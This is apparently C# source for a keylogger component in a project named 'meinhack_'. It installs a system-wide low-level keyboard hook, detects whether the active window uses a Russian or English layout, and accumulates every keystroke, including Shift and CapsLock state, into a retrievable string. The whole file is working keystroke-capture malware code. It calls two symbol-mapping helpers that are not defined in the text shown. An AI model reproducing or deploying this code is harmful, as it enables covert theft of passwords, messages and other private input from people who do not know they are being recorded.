using System.Threading.Tasks;
using System.IO;
using System.Threading;
// dll import + keylogger
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace meinhack_
{
class KeyLogger
{
const int WH_KEYBOARD_LL = 13;
const int HC_ACTION = 0;
private const int WM_KEYDOWN = 0x0100;
private static IntPtr _hookID = IntPtr.Zero;
public static string hookedKeys = "";
public KeyLogger()
{
Console.Out.WriteLine("Hook created...");
}
private static IntPtr SetHook(KeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
public void SetHook()
{
Console.Out.WriteLine("Trying to set hook...");
_hookID = SetHook(Callback);
Application.Run();
Console.Out.WriteLine("Hook right...");
}
~KeyLogger()
{
UnhookWindowsHookEx(_hookID);
}
public delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
KeyboardProc Callback = KeyboardHookCallback;
static IntPtr KeyboardHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
Console.Out.WriteLine("Trying to recognize layout...");
string text = GetKeyboardLayoutId();
Console.Out.WriteLine("Layout recognized...");
int vkCode = Marshal.ReadInt32(lParam);
Console.Out.WriteLine("Trying to get KeyState of CapsLock and Shift layout...");
bool capsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
bool numLock = (((ushort)GetKeyState(0x90)) & 0xffff) != 0;
bool scrollLock = (((ushort)GetKeyState(0x91)) & 0xffff) != 0;
bool shift = (GetAsyncKeyState(Keys.LShiftKey) != 0 || GetAsyncKeyState(Keys.RShiftKey) != 0);
Console.Out.WriteLine("KeyState of CapsLock and Shift got...");
Console.Out.WriteLine("Trying to write key...");
if (text == "RUS") hookedKeys += GetSymbolRUS((Keys)vkCode, shift, capsLock).ToString();
else hookedKeys += GetSymbolENG((Keys)vkCode, shift, capsLock).ToString();
Console.Out.WriteLine("Key written...");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
public string GetHookedKeys()
{
return hookedKeys;
}
public void ResetHookedKeys()
{
hookedKeys = "";
}
#region dllimport
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hInstance, int threadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll")]
private static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetKeyState(int keyCode);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetAsyncKeyState(Keys key);
#endregion
#region recognizeLayout
private static InputLanguageCollection _InstalledInputLanguages;
private static int _ProcessId;
private static string _CurrentInputLanguage;
private static string GetKeyboardLayoutId()
{
_InstalledInputLanguages = InputLanguage.InstalledInputLanguages;
IntPtr hWnd = GetForegroundWindow();
int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);
IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
for (int i = 0; i < _InstalledInputLanguages.Count; i++)
{
if (KeybLayout == _InstalledInputLanguages[i].Handle)
{
_CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
}
}
return _CurrentInputLanguage;
}
#endregion
}
}